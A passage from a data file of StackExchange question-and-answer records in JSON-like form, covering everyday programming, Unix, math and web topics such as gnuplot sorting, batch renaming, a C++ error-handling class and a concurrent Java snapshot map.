b.DeepCopyTo(this);}~Tree() {  Clear();}void DeepCopyTo(Tree* dest) const {  dest -> content = content;  typename NodeSet::iterator it = children.begin();  while (it != children.end()) {    Tree* t = new Tree();    (*it)->DeepCopyTo(t);    dest->AttachTree(t);    it++;  }} };https://ideone.com/62Ggwu"  , "title": "Simple Tree C++ implementation"  , "tags": "c++;template"  } 
{  "id": "_webapps.66776"  , "question": "I added a Python (py) file in Google Drive. I cannot preview it (but the main trouble is that Google won't search in it) even if it is a UTF8 text file. I can add it with the txt extension, but I would prefer to keep it as it is. Can I force the preview? If not, can I change the type somewhere to make Google Drive understand that is just a plain text file?One partial solution is to add the python file with the supplementary txt extension (like <filename>.py.txt) and then remove it. "  , "title": "How to force a file with a different extension to preview as a text file in Google Drive"  , "tags": "google drive"  } 
{  "id": "_unix.32420"  , "question": "I have a set of data in a text file (X,Y coordinates which are not sorted). I want to plot it using gnuplot and connect plotted points using lines.I tried:plot a.txt with linesbut it is connecting the first point to the second point and so on. I want it to just connect plotted points, not first to second, and so on."  , "title": "Plotting in gnuplot"  , "tags": "gnuplot"  , "accepted_answer": "You will have to sort it before gnuplot reads it, to do what you want. gnuplot implicitly uses the order of data in the file as the information about connection between points. If the X coord is the coordinate you want to connect-the-dots by do this at the command line:sort -n +0 -1 a.txt > b.txtUse gnuplot to plot the contents of file b.txt.  Sometimes a gnuplot command like this will help you see the data better:plot 'b.txt' using 1:2 with linespointsThat puts a visible mark (an X or triangle or something) at the actual (X,Y) pairs, as well as drawing lines between them."  } 
{  "id": "_vi.4389"  , "question": "I'm looking to map Ctrl-N to lbvhe in normal mode. This should visually select the word under the cursor, and works fine unless the word is at the beginning of a line.Having investigated, I've found that – in a mapping – firing h when the cursor is in column 1 (which should simply do nothing) traps the cursor at the beginning of the line. Any following movement commands seem to be ignored; j, k, l, e, and w all do nothing.My mapping works perfectly on any word preceded by whitespace or punctuation, but not words preceded by the previous line's EOL."  , "title": "Mapping to bh causes cursor to be trapped in first column"  , "tags": "key bindings;cursor movement"  , "accepted_answer": "Use viw to visually select the current word. iw is a text object for the inner word.I suggest you run vimtutor from the command line as well as look at :h quickref for more motions and text objects."  } 
{  "id": "_cs.40811"  , "question": "We ran into a problem that was mentioned in an interview 2 days ago. Can you help us with any idea or hint?A sequence of $n$ people, $\\langle\\,p_1,p_2,\\dotsc p_n\\,\\rangle$  enter a room. We want to find the index, $i$, of the tallest person in the room. We have one variable for saving that index, which is updated when we see a person whois taller than the maximum height so far. We want to calculate the average number of times our variable is updated. For simplicity, assume that $p$ is a permutation of $\\{1, 2, \\dotsc, n\\}$Short answer: it is close to $\\ln n$. (i.e: natural logarithm) How can one solve such a question?"  , "title": "Tallest Person Average Memory Updating?"  , "tags": "algorithms;algorithm analysis;data structures;runtime analysis;discrete mathematics"  , "accepted_answer": "Let $T(n)$ denote the total number of updates to the variable when $n$ people have entered the room. For example, with $n=3$ there will be $3!=6$ possible orders where the heights are $1, 2, 3$. Notice that once the height 3 person enters, no further updates will occur, so let's group the six possible arrangements by when the height 3 person enters:$$\\begin{array}{ccc}\\mathbf{3}21 & \\mathbf{3}12 \\\\1\\mathbf{3}2 & 2\\mathbf{3}1 \\\\12\\mathbf{3} & 21\\mathbf{3} \\\\\\end{array}$$For each of these arrangements, let's count the number of updates we have to make before we see the tallest person. In the two arrangements where the height-3 person arrives first, there are 0 earlier updates. In the second row above, there will be 1 update we have to make before the tallest person arrives and in the third row there will be either 1 or two updates before the tallest person arrives: arrangement $12\\mathbf{3}$ will require 2 updates (one for the height-1 person and another for the height-2 person and the arrangement $21\\mathbf{3}$ will require 1 update, for the height-2 person. In this $n=3$ case, then, we'll have $0+2+3$ total prior updates (0 in row 1, 2 in row 2, and 3 in row 3). To this add the $3!=6$ updates for the tallest person, giving us a total $T(3)=5+6=11$.Now let's look at the general case for $n$ people. As we did above, let's group the $n!$ possible arrangements by when the height-$n$ person arrived. Denote this tallest person by $X$ and the rest of the people by dots. As we did above, we'll defer counting the last update until later.We'll have these possibilities, each of which can happen in $(n-1)!$ ways:$$\\begin{array}{cc}\\text{arrival of }X & \\text{arrangement}\\\\1 & X\\circ\\dotsc\\circ \\\\2 & \\circ X\\circ\\dotsc\\circ \\\\3 & \\circ\\circ X\\circ\\dotsc\\circ\\\\\\dotsm & \\dotsm \\\\n & \\circ\\dotsc\\circ X\\end{array}$$For each row above we'll count the total updates before the tallest person arrives: Obviously if the tallest person arrives first, we'll have no prior updates, so the first row above will give a total count of 0. Each of the following rows will look like this:$$\\underbrace{\\circ\\dotsc\\circ}_k\\ X\\ \\underbrace{\\circ\\dotsc\\circ}_{n-1-k}$$ The first set of $k$ dots can be filled with the heights $\\{1, 2, \\dotsc, n-1\\}$ and there are $\\binom{n-1}{k}$ ways to choose these sets, each of which will contribute $T(k)$ updates. The last set of $n-1-k$ dots can be filled with the remaining numbers in $(n-1-k)!$ ways. Thus each row in the table will contribute$$\\binom{n-1}{k}T(k)(n-1-k)!$$to the total of prior updates. Adding these and including the $n!$ updates for the tallest person we have the recurrence relation$$\\begin{align}T(n) &= n! + \\sum_{k=1}^{n-1}\\binom{n-1}{k}T(k)(n-1-k)!\\\\ &= n!+ \\sum_{k=1}^{n-1}\\frac{(n-1)!}{k!(n-1-k)!}T(k)(n-1-k)!\\\\ &= n!+ \\sum_{k=1}^{n-1}\\frac{(n-1)!}{k!}T(k)\\\\ &= n!+ (n-1)!\\sum_{k=1}^{n-1}\\frac{T(k)}{k!}\\\\\\end{align}$$Divide both sides by $n!$ to get$$\\frac{T(n)}{n!} = 1 + \\frac{1}{n}\\sum_{k=1}^{n-1}\\frac{T(k)}{k!}$$and remember that the average number of updates, $U(n)=T(n)/n!$ which gives us.$$U(n) = 1 + \\frac{1}{n}\\sum_{k=1}^{n-1}U(k)$$Now we'll find a simple closed form for this:$$\\begin{align}U(n) &= 1+\\frac{1}{n}\\sum_{k=1}^{n-1}U(k)\\\\ &= 1+\\frac{1}{n}\\left(\\sum_{k=1}^{n-2}U(k)\\right)+\\frac{1}{n}U(n-1) &\\text{pulling out the last term}\\\\ &= 1+\\frac{n-1}{n}\\left(\\frac{1}{n-1}\\sum_{k=1}^{n-2}U(k)\\right)+\\frac{1}{n}U(n-1)\\\\ &= 1+\\frac{n-1}{n}(U(n-1)-1)+\\frac{1}{n}U(n-1) & \\text{definition of }U(n-1)\\\\ &= U(n-1)\\left(\\frac{n-1}{n}+\\frac{1}{n}\\right)+\\left(1-\\frac{n-1}{n}\\right)\\\\ &= U(n-1) + \\frac{1}{n}\\end{align}$$Whaddya know? With $U(0)=0$ we just have$$U(n) = 1 + \\frac{1}{2}+\\frac{1}{3}+\\dotsm+\\frac{1}{n} = H(n)$$the $n$-th harmonic number, as it's known and it's also known that $H(n)$ is asymptotic to $\\ln n$."  } 
{  "id": "_unix.191514"  , "question": "I'm looking to rename multiple files with the same name, with exception to the end of their file names.  I want to replace the differing parts with an incremental counter.  E.g.  With the following files,71116_123    71116_134    71116_113    71116_02371116_923    71116_103    71116_125    71116_223I want to rename them to 71116_1    71116_2    71116_3    71116_471116_5    71116_6    71116_7    71116_8I found a similar question here , but the given solution seems somewhat complicated!  Is there a simpler solution?"  , "title": "Renaming multiple files; appending"  , "tags": "rename"  , "accepted_answer": "So, given the limited info you've given, let me state my assumptions which, if any are wrong, let me know and I/we can adjust the answer.  The assumptions are critical to keeping the logic short and sweet, otherwise you do descend into 'overkill' mode.Assumption 1. The 'suffix' for your file is what you want changed, and the 'suffix' is the number(s) after the underscore, meaning the underscore ( _ ) is your separator.Assumption 2.  There will only ever be exactly one underscore in the original file name - not two or more underscores, and none without underscoresAssumption 3. You want the 'prefix', which is the value before the separator (as defined in Assumption 1) to remain exactly the same.Assumption 4. Regardless of the original suffix, you want the new suffix to use the same separator (as defined in Assumption 1) and that the new suffix is incremented not by time stamp or any other value other than the sort order as it was prior to renaming (meaning, driven by the original alpha-numeric sort order of the file names).Assumption 5. You want it fairly 'simple', which is unfortunately completely arbitrary, but I will define it as 'no complicated for loops or while loops' and 'not too many weird sed or awk' commands.So, it is not a hard problem, but given the constraints listed, it does become and interesting challenge.  Regardless, I still resorted to using a 'simple' for loop and a 'simple' awk:cnt=0for i in *; do  let cnt=cnt+1  mv $i $(echo ${i}_${cnt} | awk -F_ '{print $1_$3}')doneIf there are other files in the same directory you don't want renamed, as was the case in my original testing (I was testing in the /tmp directory, which had other files I didn't want renamed), then filter with some part of the prefix, like so:cnt=0for i in 71116*; do  let cnt=cnt+1  mv $i $(echo ${i}_${cnt} | awk -F_ '{print $1_$3}')doneI did look at the answers in your link - and I agree those are egregious overkill, as are many of the answers on stackexchange. However, most 'overkill' answers rely on fewer assumptions, so in theory, they are more 'versatile' and/or more 'portable' than what I offer here."  } 
{  "id": "_softwareengineering.78176"  , "question": "On 26 May 2011, a new EU directive comes into force that users accessing websites should now be asked for permission to allow the website to store cookies containing information about them and their visit to the website.How have you have tackled this issue? Is there another way to handle this besides an opt-in prompt the first time a person visits my site?"  , "title": "How do I comply with the EU Cookie Directive?"  , "tags": "legal;privacy;cookies"  , "accepted_answer": "The exact answer depends on what country you are in - remember it is up to individual countries to implement directives so it will vary. In Britain, if you use cookies for sessions when users log-in or storing preferences, it seems to boil down to wait and see.http://www.torchbox.com/blog/eu-law-cookies-and-icoEDIT: This answer is now years old and isn't really correct any more! Also, if reading this now, remember GDPR comes in to force next year in the EU and so this question isn't even really relevant any more! Good luck!"  } 
{  "id": "_codereview.157448"  , "question": "I have been doing some searching into how to properly handle errors in C++. I have found that the two most common techniques are exceptions and enumerations. I have created a simple class to expand on the enumeration method. It's main features are boolean operator overloading to return if the object actually has an error attached to it, and the ability to set messages at the point where the error occured. It uses an enumeration so that default error messages can be set. The ones in my code are for my current program, and are meant to be examples. Here is my code:enum Err_Type {    NO_ERR, EMPTY, INVALID_INPUT, OUT_OF_RANGE,    INVALID_FUNC_NAME, INVALID_PARANS, INVALID_OPERATOR, DIV_ZERO, INVALID_BASE,    FILE_IO_ERROR, CUSTOM};                                                                                      class Error                                                                             {                                                                                       public:                                                                                     // Constructors                                                                         Error() { Type = NO_ERR; Message = ; }                                                Error(Err_Type type) { Type = type; SetMessage(type); }                                 Error(std::string msg) { Type = CUSTOM; Message = msg; }                                // Operator Overloading                                                                 explicit operator bool() const { return Type != NO_ERR; }                               bool operator !() const { return Type == NO_ERR; }                                      void operator ()(Err_Type type) { Type = type; SetMessage(type); }                      // Public Methods                                                                       void ChangeMessage(std::string msg) { Type = CUSTOM; Message = msg; }                   std::string GetErrMessage() { return Message; }                                         void DisplayMessage() { std::cout << Message << endl; }                             private:                                                                                    Err_Type Type;                                                                          std::string Message;                                                                    void SetMessage(Err_Type type)                                                          {                                                                                       switch (type)                                                                           {                                                                                       case EMPTY: Message = Entry cannot be empty!; break;                                  case INVALID_INPUT: Message = Entry contained invalid characters!; break;             case OUT_OF_RANGE: Message = Entry contains a value that is out of range!; break;     case INVALID_FUNC_NAME: Message = Entry contained invalid function name!; break;      case INVALID_PARANS: Message = Entry contained a parantheses error!; break;           case INVALID_OPERATOR: Message = Entry contained an operator error!; break;           case DIV_ZERO: Message = Entry contained an attempt to divide by zero!; break;        case INVALID_BASE: Message = Entry contained an invalid base!; break;                 case FILE_IO_ERROR: Message = File opening error!; break;                             case NO_ERR: Message = ;                                                              }                                                                                       }                                                                                   };  I know that it is very simple and basic, and maybe not very good (I am a novice and a student to C++), so I would like some suggestions for improvements. My main objective with this is to allow my functions to pass around error information easily, and also to construct the error messages at the point where the errors are found. All suggestions are appreciated.                                                                                    "  , "title": "Error-Handling Class"  , "tags": "c++;beginner;c++11;error handling"  , "accepted_answer": "I have found that the two most common techniques are exceptions and enumerationsThat works for small and short lived projects but quickly becomes a problem when the types of errors you have deal with keep increasing.enums are best when the enumerators are fixed for most part. For example, you can create a simple enum like below:enum Status {SUCCESS, FAILURE};The reasons for failure is ever expanding in real world projects. It's best to capture the different types of errors through simple class hierarchies. Example:struct Error{   virtual ~Error() {}   virtual std::string getMessage() = 0;};Now, you can use a class that captures results of an operation or a function call. It depends on enum Status and Error as its member variables. Of course, you can add as many convenience functions as you see fit to it.struct Result{   Result() : s(SUCCESS), e(nullptr) {}   Result(Error* in) : s(in == nullptr ? SUCCESS : FAILURE), e(in) {}   operator bool () const   {      return (s == SUCCESS);   }   bool operator!() const   {      return (s != SUCCESS);   }   std::string getMessage() const   {      if ( nullptr == e )      {         return ;      }      else      {         return e->getMessage();      }   }   Status s;   std::shared_ptr<Error> e;};You can add different types of Errors by sub-classing Error. For example:struct Empty : Error{   std::string getMessage()   {      return Entry cannot be empty!;   }};Now you have a framework where the basic objects are in place. The only things that will keep on increasing are the types of errors your application deals with. That's easy to do by sub-classing Error. Here's a small program that shows how they can be used:#include <iostream>#include <string>#include <memory>// Using a namespace helps with avoiding conflictsnamespace MyApp{   enum Status {SUCCESS, FAILURE};   struct Error   {      virtual ~Error() {}      virtual std::string getMessage() = 0;   };   struct Result   {      Result() : s(SUCCESS), e(nullptr) {}      Result(Error* in) : s(in == nullptr ? SUCCESS : FAILURE), e(in) {}      operator bool () const      {         return (s == SUCCESS);      }      bool operator!() const      {         return (s != SUCCESS);      }      std::string getMessage() const      {         if ( nullptr == e )         {            return ;         }         else         {            return e->getMessage();         }      }      Status s;      std::shared_ptr<Error> e;   };   std::ostream& operator<<(std::ostream& out, Result const& r)   {      return (out << ( r ? SUCCESS : FAILURE) <<   << r.getMessage());   }   struct Empty : Error   {      std::string getMessage()      {         return Entry cannot be empty!;      }   };   struct InvalidInput : Error    {      std::string getMessage()      {         return Entry contained invalid characters!;      }   };   struct OutOfRange : Error   {      std::string getMessage()      {         return Entry contains a value that is out of range!;      }   };   // Add other subtypes of Error corresponding to   // INVALID_FUNC_NAME   // INVALID_PARENS   // INVALID_OPERATOR   // DIV_ZERO   // INVALID_BASE   // FILE_IO_ERROR}    int main(){   using namespace MyApp;   Result r1;   Result r2(new OutOfRange);   std::cout << r1 << std::endl;   std::cout << r2 << std::endl;}Output of the program:SUCCESS FAILURE Entry contains a value that is out of range!"  } 
{  "id": "_unix.210224"  , "question": "I did netstat -anto and got following result:Proto Recv-Q Send-Q Local Address               Foreign Address             State       Timertcp        0      0 127.0.0.1:1169              127.0.0.1:40238            ESTABLISHED off (0.00/0/0)what this time off mean?does it mean keepalive is off?if yes then how to enable keep alive?"  , "title": "Meaning of 'netstat -anto' output"  , "tags": "networking;tcp"  , "accepted_answer": "This link describes as best is generally known the meaning of the Timer field. off means not any of the a number of things including keepalive. So on that socket keepalive is off.The thing that sets up the socket on port 1169 needs to enable keepalive. Since that's a totally different topic and will have nothing to do with the title, I suggest closing this one off, and starting another question regarding how to set keepalive on the program that is running on port 1169.  "  } 
{  "id": "_codereview.64890"  , "question": "The problemConcurrentHashMap provides very weak consistency guarantees w.r.t iteration:guaranteed to traverse elements as they existed upon construction  exactly once, and may (but are not guaranteed to) reflect any  modifications subsequent to construction(note the may part).In my case, I have a concurrent map that I need to periodically back-up. It's very important that what I back-up be a consistent point-in-time representation of the map. Back-ups are few and far between, triggered on a schedule and never run at the same time. I ended up implementing my own map (only the methods I use, not a full-blown map impl) based on 2 underlying concurrent maps and a RW lock:notesthe map is expected to be big. VERY big. so probably no copying it. also - there's absolutely no guarantee that a copy-constructor call will land you a consistent copy - it uses iteration under the hood.Holder.java (used to return values out of closures/inner classes)public class Holder<T> {    private T value;    private boolean isEmpty = true;    public T getValue() {        return value;    }    public void setValue(T value) {        this.value = value;        isEmpty = false;    }    public boolean isEmpty() {        return isEmpty;    }}AutoCloseableLock.java (abuses AutoCloseable for locking, which I think makes for cleaner code)import java.util.concurrent.locks.Lock;public class AutoCloseableLock implements AutoCloseable{    private final Lock delegate;    public AutoCloseableLock(Lock delegate) {        this.delegate = delegate;    }    public AutoCloseableLock lock() {        delegate.lock();        return this;    }    @Override    public void close() {        delegate.unlock();    }}SingleSnapshotMap.java - a (partial) map implementation to allows a single consistent snapshotimport java.util.Map;import java.util.concurrent.ConcurrentHashMap;import java.util.concurrent.locks.ReadWriteLock;import java.util.concurrent.locks.ReentrantReadWriteLock;import java.util.function.BiConsumer;public class SingleSnapshotMap<K,V>{    private ConcurrentHashMap<K,V> baseMap = new ConcurrentHashMap<>();    private ConcurrentHashMap<K,V> diffMap;    private ReadWriteLock readWriteLock = new ReentrantReadWriteLock();    private AutoCloseableLock readLock = new AutoCloseableLock(readWriteLock.readLock());    private AutoCloseableLock writeLock = new AutoCloseableLock(readWriteLock.readLock());    private final Object DELETION_MARKER = new Object();    public V put(K key, V value) {        try (AutoCloseableLock ignored = readLock.lock()){            if (diffMap != null) {                final Holder<V> prevValueHolder = new Holder<>();                diffMap.compute(key, (k,v) -> {                    if (v == null) { //no previous mapping in diff. check in base                        prevValueHolder.setValue(baseMap.get(key));                    } else if (v == DELETION_MARKER) { //was marked as deleted. means prev==null                        prevValueHolder.setValue(null);                    } else {                        prevValueHolder.setValue(v);                    }                    return value; //new value is arg either way                });                return prevValueHolder.getValue();            } else {                return baseMap.put(key, value);            }        }    }    public V get(K key) {        try (AutoCloseableLock ignored = readLock.lock()){            if (diffMap != null) {                final Holder<V> valueHolder = new Holder<>();                diffMap.compute(key, (k,v) -> {                    if (v == null) { //no value in diff. check base                        valueHolder.setValue(baseMap.get(key));                    } else if (v == DELETION_MARKER) { //was marked as deleted. return null                        valueHolder.setValue(null);                    } else { //got a value                        valueHolder.setValue(v);                    }                    return v; //do not change the current mapping                });                return valueHolder.getValue();            } else {                return baseMap.get(key);            }        }    }    public V remove(K key) {        try (AutoCloseableLock ignored = readLock.lock()){            if (diffMap != null) {                final Holder<V> prevValueHolder = new Holder<>();                ((ConcurrentHashMap)diffMap).compute(key, (k,v) -> {                    if (v == null) {                        prevValueHolder.setValue(baseMap.get(key));                    } else if (v == DELETION_MARKER) {                        prevValueHolder.setValue(null);                    } else {                        prevValueHolder.setValue((V) v);                    }                    return DELETION_MARKER;                });                return prevValueHolder.getValue();            }            return baseMap.remove(key);        }    }    private void startSnapshot() {        try (AutoCloseableLock ignored = writeLock.lock()){            if (diffMap != null) {                throw new IllegalStateException(only a single snapshot at a time);            }            diffMap = new ConcurrentHashMap<>();        }    }    private void endSnapshot() {        try (AutoCloseableLock ignored = writeLock.lock()){            if (diffMap == null) {                throw new IllegalStateException(no snapshot active);            }            //nothing else active. flush diff back into base            for (Map.Entry<K,V> e : diffMap.entrySet()) {                if (e.getValue() == DELETION_MARKER) {                    baseMap.remove(e.getKey());                } else {                    baseMap.put(e.getKey(), e.getValue());                }            }            diffMap = null;        }    }    public void snapshot(BiConsumer<? super K, ? super V> action) {        startSnapshot();        try {            baseMap.forEach(action);        } finally {            endSnapshot();        }    }}Expected usageSingleSnapshotMap<Long, String> map = new SingleSnapshotMap<>();//place stuff into mapMap<Long, String> copyMap = new HashMap<>();map.snapshot((aLong, s) -> {    //stream key-value pair to disk somewhere}); //meanwhile activity goes on in the background//copyMap now holds a consistent point-in-time copy of mapThings I'm concerned aboutCorrectness - above all. I have some tests around this class (horrible nightmare code full of locks threads sleeps and yields), but MT code is tricky.Elegance - if there's a library that does this that I've missed, or a simpler solution.Performance and concurrency - the process running inside the snapshot() method could be long. I want to continue map operations while its running in the background.Things I'm already aware ofJava 8 has StampedLock which performs better than ReadWriteLock. I do plan on switching."  , "title": "Threadsafe HashMap with snapshot support"  , "tags": "java;concurrency"  , "accepted_answer": "The first answer I gave was based on the premise that the data could be 'cloned' out of the HashMap. The alternative way for processing the data, as suggested, is a form of serializing the data away to a slow target (disk, network, etc.). That serialization cannot happen while holding a lock on the source.The current implementation accomplishes this by 'freezing' the underlying datastore, and then dumping that datastore to the output. To keep the system available, it also creates a 'hold and store' mechanism that tracks changes made, and then, when the serialization is complete, it 'replays' the changes to the underlying store.The problems with that system are numerous:in the normal course of events, every get, remove, and put requires a 'readlock' to be held for that operation. This significantly reduces the amount of concurrency available for the store. Actually, now that I look at it, the implementation uses a ReadWriteLock, but there is a bug, and even the 'write-lock' is a readLock(), so there is no effective exclusion from the process. If the lock was implemented right though, it would still require a full lock when the 'replay' was performed.even when the system is not having a snapshot taken, the overhead is required to conditionally manage the data load. Using a Strategy Pattern we can improve that, by having one simple strategy that is used most of the time, and then a more complicated strategy that is only used when performing snapshots.Using the compute mechanism of ConcurrentHashMap is overly complicated, and has resulted in the degradation of generic typing to raw types, and is a problem.I believe the overall strategy of managing a 'diff' concept is, in the long run, the right strategy. Additionally, the concept of the Holder is good too.The problem with the global read-locks, and alternatively, the blocking write-lock while the data is flushed, is hard to overcome without introducing more granular locking.I have taken the liberty of re-implementing your code with some alternate schemes. Note that there is no global Lock mechanism. There is a single core AtomicReference which contains the current 'strategy'. The simple PassThrough strategy has almost no overhead, and will have no performance impact on the general use case.The more complicated LoggedThrough class extends the PassThrough strategy, but it logs all operations going though, and does not pass the values back, unless the recording is complete (the snapshot done). Once the snapshot is complete, the LoggedThrough class can fall-back to a strategy of handling each Holder independently as they are called (get, put, etc.), and a background process flushes any inactive values.The 'magic' in this granular locking is that each Holder is individually synchronized, and knows its own state. This state can be safely dumped to the backing store, and when it does, the Holder becomes a simple pass-through entity.import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.Random;import java.util.concurrent.ConcurrentHashMap;import java.util.concurrent.Exchanger;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;import java.util.concurrent.atomic.AtomicBoolean;import java.util.concurrent.atomic.AtomicReference;import java.util.function.BiConsumer;public class VersionedSnapshotMap<K,V> {    private static class Holder<T> {        private boolean live = true;        private T value = null;    }    private class PassThrough {        public V put(K key, V val) {            return  store.put(key,val);        }        public V remove(K key) {            return  store.remove(key);        }        public V get(K key) {            return store.get(key);        }    }    private class LoggedThrough extends PassThrough {        private final ConcurrentHashMap<K, Holder<V>> diff = new ConcurrentHashMap<>();        private final AtomicBoolean record = new AtomicBoolean(true);        @Override        public V get(K key) {            // no need to worry about recording things....            Holder<V> holder = diff.get(key);            if (holder != null) {                synchronized(holder) {                    if (holder.live) {                        return holder.value;                    }                }            }            // no race condition, the get can safely get the old value even            // if a new holder was created in the race.            return store.get(key);        }        private V undercover(K key, V val, boolean remove) {            if (!record.get()) {                // recording complete for this logger.                // either the Holder has:                //   1. never been created                //   2. created, but not yet written back                //   3. created, and written back                //   4. created, written back, and removed.                final Holder<V> holder = diff.get(key);                if (holder != null) {                    // 2, or 3.                    synchronized (holder) {                        if (holder.live) {                            V prev = holder.value;                            holder.value = null;                            // push back this Holder, and mark it dead.                            // subsequent calls will find it gone...                            store.put(key, val);                            holder.live = false;                            return prev;                        }                    }                }                // 1, 3, or 4.                if (remove) {                    return store.remove(key);                }                return store.put(key, val);            }            // we are still recording...            // optimistically create a new Holder.            // we will have to discard this if another thread has already done one.            Holder<V> nref = new Holder<>();            nref.value = store.get(key);            // yes, put it on the queue even if the recording may have stopped.            Holder<V> race = diff.putIfAbsent(key, nref);            // holder becomes whatever instance was first registered for this key.            Holder<V> holder = race == null ? nref : race;            synchronized(holder) {                if (holder.live) {                    V prev = holder.value;                    holder.value = val;                    if (!record.get()) {                        // we thought we were recording, but that                        // changed in a race condition. We push our value                        // back through to the source.                        holder.live = false;                        holder.value = null;                        diff.remove(key);                        if (remove) {                            store.remove(key);                        } else {                            store.put(key, val);                        }                    }                    return prev;                }            }            if (remove) {                return store.remove(key);            }            return store.put(key, val);        }        @Override        public V put(K key, V val) {            return undercover(key, val, false);        }        @Override        public V remove(K key) {            return undercover(key, null, true);        }        public void flush() {            // OK, recordings are no longer applied            record.set(false);            while (!diff.isEmpty()) {                Iterator<Map.Entry<K, Holder<V>>> it = diff.entrySet().iterator();                while (it.hasNext()) {                    Map.Entry<K, Holder<V>> entry = it.next();                    Holder<V> holder = entry.getValue();                    K key = entry.getKey();                    synchronized (holder) {                        if (holder.live) {                            holder.live = false;                            if (holder.value  != null) {                                store.put(key, holder.value);                            } else {                                store.remove(key);                            }                            holder.value = null;                        }                    }                    it.remove();                }            }        }    }    private final PassThrough simplepass = new PassThrough();    private final ConcurrentHashMap<K, V> store = new ConcurrentHashMap<>();    private final AtomicReference<PassThrough> core = new AtomicReference<>(simplepass);    public V get(K key) {        return core.get().get(key);    }    public V put(K key, V val)  {        return core.get().put(key, val);    }    public V remove(K key) {        return core.get().remove(key);    }        public void snapshot(BiConsumer<? super K, ? super V> action) {        LoggedThrough logged = new LoggedThrough();        if (core.compareAndSet(simplepass, logged)) {            try {                store.forEach(action);            } finally {                logged.flush();                if (!core.compareAndSet(logged, simplepass)) {                    throw new IllegalStateException(Unable to restore the simple passthrough);                }            }        } else  {            throw new IllegalStateException(Only one snapshot at a time, please);        }    }}I tested the above code using the folowing hacks...take a copy of your system properties using the snapshottake another copy, each time you dump an item though, use the Exchanger as an interlock, and randomly change something in the Map.ensure the original copy, and the concurrently modified copy are the same.ensure that the modifications made during the second snapshot are now shown in the third.Here's the test code (please don't hold it up to code review standards, it is a hack...):private static final <P,Q> void printPQ(P p, Q q, HashMap<P,Q> outsb) {    outsb.put(p, q);}private static final void randomAte(VersionedSnapshotMap<String,String> smap, Exchanger<String> ex, final String term) {    String[] keys = System.getProperties().stringPropertyNames().toArray(new String[0]);    Random rand = new Random();    try {        String token = Boo;        while ((token = ex.exchange(token)) != term) {            switch(rand.nextInt(10)) {            case 0:            case 1:                // remove a key                smap.remove(keys[rand.nextInt(keys.length)]);                break;            case 2:            case 3:                // add a new key                smap.put( + System.nanoTime(), Modded);                break;            default:                // modify an existing key.                smap.put(keys[rand.nextInt(keys.length)],  + System.currentTimeMillis());            }        }    } catch (InterruptedException ie) {        ie.printStackTrace();    }}public static void main(String[] args) throws InterruptedException {    final VersionedSnapshotMap<String, String> smap = new VersionedSnapshotMap<>();    System.getProperties().forEach((k,v) -> smap.put(String.valueOf(k), String.valueOf(v)));    HashMap<String,String> base = new HashMap<>();    smap.snapshot((k,v) -> VersionedSnapshotMap.printPQ(k,v, base));    final Exchanger<String> exchanger = new Exchanger<>();    ExecutorService service = Executors.newCachedThreadPool();    // go through and randomize values.    final String DONE = Done;    service.execute(() -> randomAte(smap, exchanger, DONE));    HashMap<String,String> after = new HashMap<>();    smap.snapshot((k,v) -> {        printPQ(k, v, after);        try {            exchanger.exchange(Hoo);        } catch (InterruptedException ie) {        }    });    exchanger.exchange(DONE);    service.shutdown();    service.awaitTermination(10, TimeUnit.SECONDS);    System.out.println(base);    System.out.println(after);    System.out.println(base.equals(after));    HashMap<String,String> post = new HashMap<>();    smap.snapshot((k,v) -> VersionedSnapshotMap.printPQ(k,v, post));    System.out.println(post);    System.out.println(base.equals(post));}"  } 
{  "id": "_webmaster.30214"  , "question": "Possible Duplicate:Services to monitor and report if a web site goes down? I've had an interesting day. I've been with a hosting company for 8+ years without a hitch. Today the MySQL on my server failed without any real reason. I had no idea so my site was down for 3 hours and of course I got emails from customers wondering what had happened. Not fun.What are ways to ensure my site is always live? It would be great if I got a text message saying it's down. Are there any practical things that one should do to ensure their site is performing?"  , "title": "How do I make sure my website is live all the time?"  , "tags": "mysql"  , "accepted_answer": "http://www.pingdom.com/ or http://newrelic.com are both really good services!"  } 
{  "id": "_reverseengineering.3738"  , "question": "I'm using IDA Starter 6.5 on linux. (Debian Wheezy 32bit)I would like to perform batch analysis on a bunch of iOS apps with an IDAPython script.To do so, I use command as such, to call text interface:$ ~/.ida-6.5/idal -A -SDump.py my_appHowever, it just flashed out in a sec and quited before any analysis happened.The only thing I saw on the last line of IDA is:The file is encrypted. The disassembly of it will be likely useless.Do you want to continue? ? -> N~oAnyone know how to make it Yes so I can use command line?Thanks."  , "title": "Force IDA starter 6.5 to disassemble encrypted in autonomous mode"  , "tags": "ida;idapython;automation"  } 
{  "id": "_cs.63013"  , "question": "I want to add a constraint to a convex program, to guarantee some matrix $A$ to be positive semidefinite.How should I do it?The library I am working with can cope with linear/ quadratic inequalities only.By definition, $A$ is positive semidefinite iff $\\forall x \\in \\mathbb C^n : x^T A x \\geq 0$, but this is a set of inifinitely many constraints. So, my question is: how can I formulate it using a finitely many set of contraints and using linear/ quadratic inequalities only.Thanks in advance!"  , "title": "Positive Definiteness Constraint"  , "tags": "optimization;linear algebra"  , "accepted_answer": "A matrix $A$ is positive semidefinite if and only if there exists a matrix $V$ such that $$A = V^\\top V.$$So, you can use the entries of $V$ as your unknowns, and express each entry of $A$ as a quadratic function of the unknowns.  Whenever you want to use $A$, instead rewrite that equation in terms of the entries of $V$."  } 
{  "id": "_webapps.44477"  , "question": "I want students to be able to search YouTube for educational videos in their home language. For example, if a Dutch student wants to search for a Dutch video on Napoleon, a dutch result will probably not end up in the top 5 search results. Is their a way around this? I see that it is not possible to filter for language or region on Youtube and the YouTube V3 APIs also don't allow for this either (This is not an API question) but maybe some of you have come up with creative work-arounds?"  , "title": "YouTube: How can a user filter search results by region or language?"  , "tags": "youtube;search"  } 
